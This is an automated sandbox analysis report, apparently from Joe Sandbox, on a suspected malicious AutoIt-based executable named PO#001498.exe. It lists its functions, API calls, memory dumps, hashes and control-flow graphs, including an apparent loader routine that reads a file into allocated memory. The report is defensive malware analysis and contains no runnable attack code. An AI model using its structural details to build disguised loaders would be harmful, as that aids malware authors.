                                                                                                                                                                                • API ID: _wcscat_wcslen$CloseException@8FileModuleNameOpenQueryThrowValue__wmakepath__wmakepath_s__wsplitpath__wsplitpath_helper_malloc_wcscpy_wcsncat_wcsncpystd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                                • String ID: Include$Software\AutoIt v3\AutoIt$\
                                                                                                                                                                                • API String ID: 1004883554-2276155026
                                                                                                                                                                                • Opcode ID: bd70d1de0bf944503d0c9583a27c2bfe501ff96b935e7e88766a5686d489513a
                                                                                                                                                                                • Instruction ID: ef4714a7fd58501e566ba693257e1f196c1b97611c18bc9c35ab262cfa7686fb
                                                                                                                                                                                • Opcode Fuzzy Hash: bd70d1de0bf944503d0c9583a27c2bfe501ff96b935e7e88766a5686d489513a
                                                                                                                                                                                • Instruction Fuzzy Hash: B961B3B1508340DFC300EF65EC8599BBBE8FB99704F44882EF544C3261EBB59948CB5A
                                                                                                                                                                                Function 004095C7 Relevance: 21.5, APIs: 14, Instructions: 539sleeptimeCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00409A40: _wcslen.LIBCMT ref: 00409A61
                                                                                                                                                                                  • Part of subcall function 00409A40: CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                                                                                                                                • Sleep.KERNEL32(0000000A), ref: 00409870
                                                                                                                                                                                • timeGetTime.WINMM ref: 00409880
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: BuffCharSleepTimeUpper_wcslentime
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3219444185-0
                                                                                                                                                                                • Opcode ID: da6b74c52f7fd8fa7285d44dc66266380a963bd06260c315e722df216112258b
                                                                                                                                                                                • Instruction ID: 79dfb759edd1749a95aa3438e3198289cebfc990e9c1b7da565b255c5aac8c6d
                                                                                                                                                                                • Opcode Fuzzy Hash: da6b74c52f7fd8fa7285d44dc66266380a963bd06260c315e722df216112258b
                                                                                                                                                                                • Instruction Fuzzy Hash: D422F171608342ABC724DF64C984BABB7A0BF89304F14492FE54997392D77CEC45CB9A
                                                                                                                                                                                Function 004523CE Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 145COMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: __fread_nolock$_fseek_wcscpy
                                                                                                                                                                                • String ID: FILE
                                                                                                                                                                                • API String ID: 3888824918-3121273764
                                                                                                                                                                                • Opcode ID: e8200e6015bbe3313da03f0c122791b2111f624a8fcd35516e511649d5e709ac
                                                                                                                                                                                • Instruction ID: c0f9aeb359a44d31a21a8716142a7f32772eb03c7b5129f1ec28ea3a2d041f76
                                                                                                                                                                                • Opcode Fuzzy Hash: e8200e6015bbe3313da03f0c122791b2111f624a8fcd35516e511649d5e709ac
                                                                                                                                                                                • Instruction Fuzzy Hash: D541EFB1504300BBD310EB55CC81FEB73A9AFC8718F54491EFA8457181F679E644C7AA
                                                                                                                                                                                Function 004102F0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53windowregistryCOMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                APIs
                                                                                                                                                                                • GetSysColorBrush.USER32 ref: 00410326
                                                                                                                                                                                • RegisterClassExW.USER32 ref: 00410359
                                                                                                                                                                                • RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,?), ref: 0041036A
                                                                                                                                                                                • InitCommonControlsEx.COMCTL32(0000000F,?,?,?,?,?,?), ref: 0041038A
                                                                                                                                                                                • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,?,?,?,?,?,?), ref: 0041039A
                                                                                                                                                                                • LoadIconW.USER32(00400000,000000A9), ref: 004103B1
                                                                                                                                                                                • ImageList_ReplaceIcon.COMCTL32(00A1F2A0,000000FF,00000000,?,?,?,?,?,?), ref: 004103C1
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                                                                                                                                                • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                                                                                                                                                • API String ID: 2914291525-1005189915
                                                                                                                                                                                • Opcode ID: b078764552fc12f322907e2d646497bc841117f43cad8f480623bc49e689b681
                                                                                                                                                                                • Instruction ID: c8c51aded5b6d43d10953d3ded2c15c159303f3bf9a059b11759766ceadcbce4
                                                                                                                                                                                • Opcode Fuzzy Hash: b078764552fc12f322907e2d646497bc841117f43cad8f480623bc49e689b681
                                                                                                                                                                                • Instruction Fuzzy Hash: 9F2129B4518301AFD340DF64D888B4EBFF4FB89704F008A2EF685962A0E7B58144CF5A
                                                                                                                                                                                Function 004101F0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 74windowregistryCOMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                APIs
                                                                                                                                                                                • GetSysColorBrush.USER32(0000000F), ref: 004101F9
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F00), ref: 00410209
                                                                                                                                                                                • LoadIconW.USER32(?,00000063), ref: 0041021F
                                                                                                                                                                                • LoadIconW.USER32(?,000000A4), ref: 00410232
                                                                                                                                                                                • LoadIconW.USER32(?,000000A2), ref: 00410245
                                                                                                                                                                                • LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041026A
                                                                                                                                                                                • RegisterClassExW.USER32 ref: 004102C6
                                                                                                                                                                                  • Part of subcall function 004102F0: GetSysColorBrush.USER32 ref: 00410326
                                                                                                                                                                                  • Part of subcall function 004102F0: RegisterClassExW.USER32 ref: 00410359
                                                                                                                                                                                  • Part of subcall function 004102F0: RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,?), ref: 0041036A
                                                                                                                                                                                  • Part of subcall function 004102F0: InitCommonControlsEx.COMCTL32(0000000F,?,?,?,?,?,?), ref: 0041038A
                                                                                                                                                                                  • Part of subcall function 004102F0: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,?,?,?,?,?,?), ref: 0041039A
                                                                                                                                                                                  • Part of subcall function 004102F0: LoadIconW.USER32(00400000,000000A9), ref: 004103B1
                                                                                                                                                                                  • Part of subcall function 004102F0: ImageList_ReplaceIcon.COMCTL32(00A1F2A0,000000FF,00000000,?,?,?,?,?,?), ref: 004103C1
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                                                                                                                                                • String ID: #$0$PGH
                                                                                                                                                                                • API String ID: 423443420-3673556320
                                                                                                                                                                                • Opcode ID: 1033d1e55498f891403c4089579710d7d6683e73571bc8446147a2c837657170
                                                                                                                                                                                • Instruction ID: 6be78a7d21e01e6533eb66d2751721d4fd39e3055bf34e10baa21603515e7cea
                                                                                                                                                                                • Opcode Fuzzy Hash: 1033d1e55498f891403c4089579710d7d6683e73571bc8446147a2c837657170
                                                                                                                                                                                • Instruction Fuzzy Hash: 60216DB5A18300AFD310CF59EC84A4A7FE4FB99710F00497FF648972A0D7B599408B99
                                                                                                                                                                                Function 00452574 Relevance: 13.7, APIs: 9, Instructions: 171COMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                APIs
                                                                                                                                                                                • _fseek.LIBCMT ref: 004525DA
                                                                                                                                                                                  • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004523ED
                                                                                                                                                                                  • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 00452432
                                                                                                                                                                                  • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045244F
                                                                                                                                                                                  • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 0045247D
                                                                                                                                                                                  • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045248E
                                                                                                                                                                                  • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004524AB
                                                                                                                                                                                  • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 004524D9
                                                                                                                                                                                • __fread_nolock.LIBCMT ref: 00452618
                                                                                                                                                                                • __fread_nolock.LIBCMT ref: 00452629
                                                                                                                                                                                • __fread_nolock.LIBCMT ref: 00452644
                                                                                                                                                                                • __fread_nolock.LIBCMT ref: 00452661
                                                                                                                                                                                • _fseek.LIBCMT ref: 0045267D
                                                                                                                                                                                • _malloc.LIBCMT ref: 00452689
                                                                                                                                                                                • _malloc.LIBCMT ref: 00452696
                                                                                                                                                                                • __fread_nolock.LIBCMT ref: 004526A7
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: __fread_nolock$_fseek_malloc_wcscpy
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1911931848-0
                                                                                                                                                                                • Opcode ID: 3570a21b3fd7755177810c9e6035fea9311faeeb4ffbf150b354229a8e607498
                                                                                                                                                                                • Instruction ID: daf5751c9f96f1f9c2235ce4d63c31b1673d17b5fb5ed0b9a51dc370059b243a
                                                                                                                                                                                • Opcode Fuzzy Hash: 3570a21b3fd7755177810c9e6035fea9311faeeb4ffbf150b354229a8e607498
                                                                                                                                                                                • Instruction Fuzzy Hash: 47514CB1A08340AFD310DF5AD881A9BF7E9FFC8704F40492EF68887241D77AE5448B5A
                                                                                                                                                                                Function 0040F450 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 126COMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                • Executed
                                                                                                                                                                                • Not Executed
                                                                                                                                                                                control_flow_graph 1294 40f450-40f45c call 425210 1297 40f460-40f478 1294->1297 1297->1297 1298 40f47a-40f4a8 call 413990 call 410f70 1297->1298 1303 40f4b0-40f4d1 call 4151b0 1298->1303 1306 40f531 1303->1306 1307 40f4d3-40f4da 1303->1307 1308 40f536-40f540 1306->1308 1309 40f4dc-40f4de 1307->1309 1310 40f4fd-40f517 call 41557c 1307->1310 1311 40f4e0-40f4e2 1309->1311 1314 40f51c-40f51f 1310->1314 1313 40f4e6-40f4ed 1311->1313 1315 40f521-40f52c 1313->1315 1316 40f4ef-40f4f2 1313->1316 1314->1303 1317 40f543-40f54e 1315->1317 1318 40f52e-40f52f 1315->1318 1319 42937a-4293a0 call 41557c call 4151b0 1316->1319 1320 40f4f8-40f4fb 1316->1320 1321 40f550-40f553 1317->1321 1322 40f555-40f560 1317->1322 1318->1316 1330 4293a5-4293c3 call 4151d0 1319->1330 1320->1310 1320->1311 1321->1316 1325 429372 1322->1325 1326 40f566-40f571 1322->1326 1325->1319 1328 429361-429367 1326->1328 1329 40f577-40f57a 1326->1329 1328->1313 1331 42936d 1328->1331 1329->1316 1330->1308 1331->1325
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: __fread_nolock_fseek_strcat
                                                                                                                                                                                • String ID: AU3!$EA06
                                                                                                                                                                                • API String ID: 3818483258-2658333250
                                                                                                                                                                                • Opcode ID: 61a815b4762265f9d00ad5303640aa958846bc8ab5516fbcebd88596bc1aced3
                                                                                                                                                                                • Instruction ID: a326fe91d6bb541f17a8cee8b09d92be642ba4032c5aa5fe266a96c6f27d1a6c
                                                                                                                                                                                • Opcode Fuzzy Hash: 61a815b4762265f9d00ad5303640aa958846bc8ab5516fbcebd88596bc1aced3
                                                                                                                                                                                • Instruction Fuzzy Hash: 2B416C7160C340ABC331DA24C841AEB77A59B95308F68087EF5C597683E578E44A876B
                                                                                                                                                                                Function 00410130 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 76COMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                • Executed
                                                                                                                                                                                • Not Executed
                                                                                                                                                                                control_flow_graph 1334 410130-410142 SHGetMalloc 1335 410148-410158 SHGetDesktopFolder 1334->1335 1336 42944f-429459 call 411691 1334->1336 1337 4101d1-4101e0 1335->1337 1338 41015a-410188 call 411691 1335->1338 1337->1336 1344 4101e6-4101ee 1337->1344 1346 4101c5-4101ce 1338->1346 1347 41018a-4101a1 SHGetPathFromIDListW 1338->1347 1346->1337 1348 4101a3-4101b1 call 411691 1347->1348 1349 4101b4-4101c0 1347->1349 1348->1349 1349->1346
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _wcscpy$DesktopFolderFromListMallocPath
                                                                                                                                                                                • String ID: C:\Users\user\Desktop\PO#001498.exe
                                                                                                                                                                                • API String ID: 192938534-740072029
                                                                                                                                                                                • Opcode ID: 41672701d810a85b6866b378b1839c38d53fca73f5daf9d2a63f2dfb0070f590
                                                                                                                                                                                • Instruction ID: 2fe23ff91bf644c1e681f842d3c1e96d6f0f177144f23c1ad52f1bdc7517ad48
                                                                                                                                                                                • Opcode Fuzzy Hash: 41672701d810a85b6866b378b1839c38d53fca73f5daf9d2a63f2dfb0070f590
                                                                                                                                                                                • Instruction Fuzzy Hash: 822179B5604211AFC210EB64DC84DABB3ECEFC8704F14891DF94987210E739ED46CBA6
                                                                                                                                                                                Function 00401230 Relevance: 12.1, APIs: 8, Instructions: 83windowtimeCOMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                • Executed
                                                                                                                                                                                • Not Executed
                                                                                                                                                                                control_flow_graph 1352 401230-40123b 1353 401241-401272 call 4131f0 call 401be0 1352->1353 1354 4012c5-4012cd 1352->1354 1359 401274-401292 1353->1359 1360 4012ae-4012bf KillTimer SetTimer 1353->1360 1361 42aa61-42aa67 1359->1361 1362 401298-40129c 1359->1362 1360->1354 1365 42aa8b-42aaa7 Shell_NotifyIconW 1361->1365 1366 42aa69-42aa86 Shell_NotifyIconW 1361->1366 1363 4012a2-4012a8 1362->1363 1364 42aaac-42aab3 1362->1364 1363->1360 1367 42aaf8-42ab15 Shell_NotifyIconW 1363->1367 1368 42aad7-42aaf3 Shell_NotifyIconW 1364->1368 1369 42aab5-42aad2 Shell_NotifyIconW 1364->1369 1365->1360 1366->1360 1367->1360 1368->1360 1369->1360
                                                                                                                                                                                APIs
                                                                                                                                                                                • _memset.LIBCMT ref: 00401257
                                                                                                                                                                                  • Part of subcall function 00401BE0: _memset.LIBCMT ref: 00401C62
                                                                                                                                                                                  • Part of subcall function 00401BE0: _wcsncpy.LIBCMT ref: 00401CA1
                                                                                                                                                                                  • Part of subcall function 00401BE0: _wcscpy.LIBCMT ref: 00401CBD
                                                                                                                                                                                  • Part of subcall function 00401BE0: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401CCF
                                                                                                                                                                                • KillTimer.USER32(?,?), ref: 004012B0
                                                                                                                                                                                • SetTimer.USER32(?,?,000002EE,00000000), ref: 004012BF
                                                                                                                                                                                • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AA80
                                                                                                                                                                                • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AACC
                                                                                                                                                                                • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AB0F
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: IconNotifyShell_$Timer_memset$Kill_wcscpy_wcsncpy
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1792922140-0
                                                                                                                                                                                • Opcode ID: a7115ab057bf29602ed6c82bb799c717f5f73d3545905a596edaeb05fb95c8cc
                                                                                                                                                                                • Instruction ID: 78dbdb20408675f5dda5a176dd8a03fc230073daf987e80dd157250a536ae6f7
                                                                                                                                                                                • Opcode Fuzzy Hash: a7115ab057bf29602ed6c82bb799c717f5f73d3545905a596edaeb05fb95c8cc
                                                                                                                                                                                • Instruction Fuzzy Hash: 56319670609642BFD319CB24D544B9BFBE8BF85304F04856EF488A3251C7789A19D7AB
                                                                                                                                                                                Function 04279608 Relevance: 10.7, APIs: 7, Instructions: 239fileCOMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                • Executed
                                                                                                                                                                                • Not Executed
                                                                                                                                                                                control_flow_graph 1370 4279608-42796b6 call 4277008 1373 42796bd-42796e3 call 427a518 CreateFileW 1370->1373 1376 42796e5 1373->1376 1377 42796ea-42796fa 1373->1377 1378 4279835-4279839 1376->1378 1384 4279701-427971b VirtualAlloc 1377->1384 1385 42796fc 1377->1385 1379 427987b-427987e 1378->1379 1380 427983b-427983f 1378->1380 1386 4279881-4279888 1379->1386 1382 4279841-4279844 1380->1382 1383 427984b-427984f 1380->1383 1382->1383 1389 4279851-427985b 1383->1389 1390 427985f-4279863 1383->1390 1391 4279722-4279739 ReadFile 1384->1391 1392 427971d 1384->1392 1385->1378 1387 42798dd-42798f2 1386->1387 1388 427988a-4279895 1386->1388 1395 42798f4-42798ff VirtualFree 1387->1395 1396 4279902-427990a 1387->1396 1393 4279897 1388->1393 1394 4279899-42798a5 1388->1394 1389->1390 1397 4279865-427986f 1390->1397 1398 4279873 1390->1398 1399 4279740-4279780 VirtualAlloc 1391->1399 1400 427973b 1391->1400 1392->1378 1393->1387 1403 42798a7-42798b7 1394->1403 1404 42798b9-42798c5 1394->1404 1395->1396 1397->1398 1398->1379 1401 4279787-42797a2 call 427a768 1399->1401 1402 4279782 1399->1402 1400->1378 1410 42797ad-42797b7 1401->1410 1402->1378 1406 42798db 1403->1406 1407 42798c7-42798d0 1404->1407 1408 42798d2-42798d8 1404->1408 1406->1386 1407->1406 1408->1406 1411 42797ea-42797fe call 427a578 1410->1411 1412 42797b9-42797e8 call 427a768 1410->1412 1418 4279802-4279806 1411->1418 1419 4279800 1411->1419 1412->1410 1420 4279812-4279816 1418->1420 1421 4279808-427980c CloseHandle 1418->1421 1419->1378 1422 4279826-427982f 1420->1422 1423 4279818-4279823 VirtualFree 1420->1423 1421->1420 1422->1373 1422->1378 1423->1422
                                                                                                                                                                                APIs
                                                                                                                                                                                • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 042796D9
                                                                                                                                                                                • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 042798FF
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1325718466.0000000004277000.00000040.00000020.00020000.00000000.sdmp, Offset: 04277000, based on PE: false
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_4277000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CreateFileFreeVirtual
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 204039940-0
                                                                                                                                                                                • Opcode ID: c604c45430315f2d7ac9edfc96fa3ed3524b16f7139e20e6f85f26396c7b052c
                                                                                                                                                                                • Instruction ID: 1b06a451611e9180bde355db47960a3dee90eb79ec94c86d797aafd544e9f638
                                                                                                                                                                                • Opcode Fuzzy Hash: c604c45430315f2d7ac9edfc96fa3ed3524b16f7139e20e6f85f26396c7b052c
                                                                                                                                                                                • Instruction Fuzzy Hash: A2A10CB4E10209EBEB14CFA4C894BEEBBB5FF48305F108159E515BB280D779AA81CF54
                                                                                                                                                                                Function 00414F10 Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                • Executed
                                                                                                                                                                                • Not Executed
                                                                                                                                                                                control_flow_graph 1424 414f10-414f2c 1425 414f4f 1424->1425 1426 414f2e-414f31 1424->1426 1428 414f51-414f55 1425->1428 1426->1425 1427 414f33-414f35 1426->1427 1429 414f37-414f46 call 417f23 1427->1429 1430 414f56-414f5b 1427->1430 1442 414f47-414f4c call 417ebb 1429->1442 1431 414f6a-414f6d 1430->1431 1432 414f5d-414f68 1430->1432 1435 414f7a-414f7c 1431->1435 1436 414f6f-414f77 call 4131f0 1431->1436 1432->1431 1434 414f8b-414f9e 1432->1434 1440 414fa0-414fa6 1434->1440 1441 414fa8 1434->1441 1435->1429 1439 414f7e-414f89 1435->1439 1436->1435 1439->1429 1439->1434 1444 414faf-414fb1 1440->1444 1441->1444 1442->1425 1446 4150a1-4150a4 1444->1446 1447 414fb7-414fbe 1444->1447 1446->1428 1449 414fc0-414fc5 1447->1449 1450 415004-415007 1447->1450 1449->1450 1453 414fc7 1449->1453 1451 415071-415072 call 41e6b1 1450->1451 1452 415009-41500d 1450->1452 1461 415077-41507b 1451->1461 1455 41500f-415018 1452->1455 1456 41502e-415035 1452->1456 1457 415102 1453->1457 1458 414fcd-414fd1 1453->1458 1462 415023-415028 1455->1462 1463 41501a-415021 1455->1463 1465 415037 1456->1465 1466 415039-41503c 1456->1466 1464 415106-41510f 1457->1464 1459 414fd3 1458->1459 1460 414fd5-414fd8 1458->1460 1459->1460 1467 4150a9-4150af 1460->1467 1468 414fde-414fff call 41ee9b 1460->1468 1461->1464 1469 415081-415085 1461->1469 1470 41502a-41502c 1462->1470 1463->1470 1464->1428 1465->1466 1471 415042-41504e call 41453a call 41ed9e 1466->1471 1472 4150d5-4150d9 1466->1472 1477 4150b1-4150bd call 4131f0 1467->1477 1478 4150c0-4150d0 call 417f23 1467->1478 1485 415099-41509b 1468->1485 1469->1472 1476 415087-415096 1469->1476 1470->1466 1492 415053-415058 1471->1492 1474 4150eb-4150fd call 417f23 1472->1474 1475 4150db-4150e8 call 4131f0 1472->1475 1474->1442 1475->1474 1476->1485 1477->1478 1478->1442 1485->1446 1485->1447 1493 415114-415118 1492->1493 1494 41505e-415061 1492->1494 1493->1464 1494->1457 1495 415067-41506f 1494->1495 1495->1485
                                                                                                                                                                                APIs
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
